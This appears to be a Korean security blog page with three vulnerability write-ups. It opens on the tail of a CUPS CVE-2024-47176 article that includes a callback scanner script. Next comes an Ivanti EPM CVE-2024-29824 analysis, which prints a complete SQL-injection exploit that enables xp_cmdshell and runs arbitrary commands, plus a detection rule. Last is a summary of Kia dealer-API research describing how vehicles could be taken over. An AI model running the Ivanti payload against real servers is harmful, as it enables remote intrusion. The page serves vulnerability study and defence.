   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1]
- 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능
- 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음

 

2. 주요 내용

- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석
> 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음

※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달
※ 앱은 해당 API에 직접 액세스

 

- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청

[사진 1] 요청 예시

- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달

> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID

[사진 2] 요청 예시

2.1 Kia 딜러 인프라 취약점

- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견

> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

 

- 해당 URL을 로드하면 토큰의 유효성을 확인하는 HTTP 요청이 전송

> 딜러 사이트의 요청 URI가 owners 사이트와 동일한 /apps/services/kdealer/apigwServlet.html

> 딜러용 내부 API로 요청을 전달하는 프록시가 있을 것으로 예상

[사진 3] 토큰 유효성 검사

- JavaScript를 확인한 결과 딜러 차량 조회, 계정 조회, 등록, 해지 등 직원 전용 기능을 가진 API 호출 발견

> 소유한 차량의 VIN으로 API 앤드포인트에 접근해 보았으나, 401 Unauthorized 반환

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

 

2.2 일반 계정으로 딜러 API 접근

- 딜러 웹 사이트에서 새로운 계정을 생성해 액세스 토큰을 생성한 뒤 API 접근 시도

> 딜러 사이트에서 owners 사이트와 동일한 방식으로 사용자 등록을 시도한 결과 200 OK 반환

> 이후 로그인하여 액세스 토큰 생성 VIN 조회 API 호출 결과 차량 소유주 이름, 전화번호, 이메일 주소 반환

> 일반 자격 증명과 수정된 채널 헤더를 사용하면 모든 딜러용 API에 접근할 수 있다는 것을 의미

 

2.3 차량 무단 접근

- JavaScript를 살펴본 결과 차량 등록, 해지, 수정 엔드포인트가 어떻게 동작하는지 파악

[사진 4] 차량 무단 접근

- 다음 4단계를 거치면 차량에 무단 접근이 가능하며, 피해자는 차량 접근 알림이나 권한 변경 사실을 알지 못함

> 번호판을 통해 VIN을 알아낸 뒤 API를 이용해 추적, 잠금 해제, 시동 걸기, 경적 울리기 등의 명령을 수행할 수 있음

① 딜러 토큰 생성 및 HTTP 응답에서 “token” 헤더 추출

- authUser 엔드포인트를 통해 인증하여 세션 토큰 획득

[사진 5] 딜러 토큰 생성

② 피해자의 이메일 주소 및 전화번호 알아내기

- 추가된 세션 토큰 헤더를 통해 kiaconnect.kdealer.com 웹사이트의 모든 딜러 엔드포인트에 접속 및 피해자의 이름, 전화번호, 이메일을 검색할 수 있음

[사진 6] 피해자 정보 조회

③ 유출된 이메일 주소와 VIN으로 기존 소유자의 접근 권한 수정

- 이전 단계에서 얻은 이메일을 이용해 공격자를 기본 계정 소유자로 추가

[사진 7] 차량 소유주 접근 권한 수정

④ 공격자를 차량의 새로운 소유자로 추가

- 공격자의 이메일을 이용해 차량의 소유자로 추가 및 이를 통해 차량에 임의 명령을 보낼 수 있음

[사진 8] 공격자 추가

2.3 PoC용 대시보드 제작

- 공격자는 (1) Kia 차량의 번호판을 입력하고 (2) 소유주 개인 식별 정보를 가져온 뒤 (3) 차량 제어 명령을 실행할 수 있는 개념 증명용 대시보드 개발

- 차량 무단 접근을 시도하는 Exploit 페이지명령 전달과 위치를 추적하는 Garage 페이지로 구성

> 잠긴 Kia 렌트카를 대상으로 테스트 및 문 잠금/해제, 시동 켜기/끄기, 경적 울리기, 위치 추적에 성공

[영상 1] PoC [2]

- 해당 취약점을 Kia에 제보 및 수정 완료

> PoC 도구는 공개되지 않았으며, Kia는 취약점이 악의적으로 악용되지 않았음을 확인

3. 참고

[1] https://samcurry.net/hacking-kia#targeting-kia-dealer-infrastructure
[2] https://www.youtube.com/watch?v=jMHFCpQdZyg
[3] https://news.hada.io/topic?id=16961
[4] https://www.boannews.com/media/view.asp?idx=133232&page=1&kind=1
[5] https://www.dailysecu.com/news/articleView.html?idxno=159771

+ Recent posts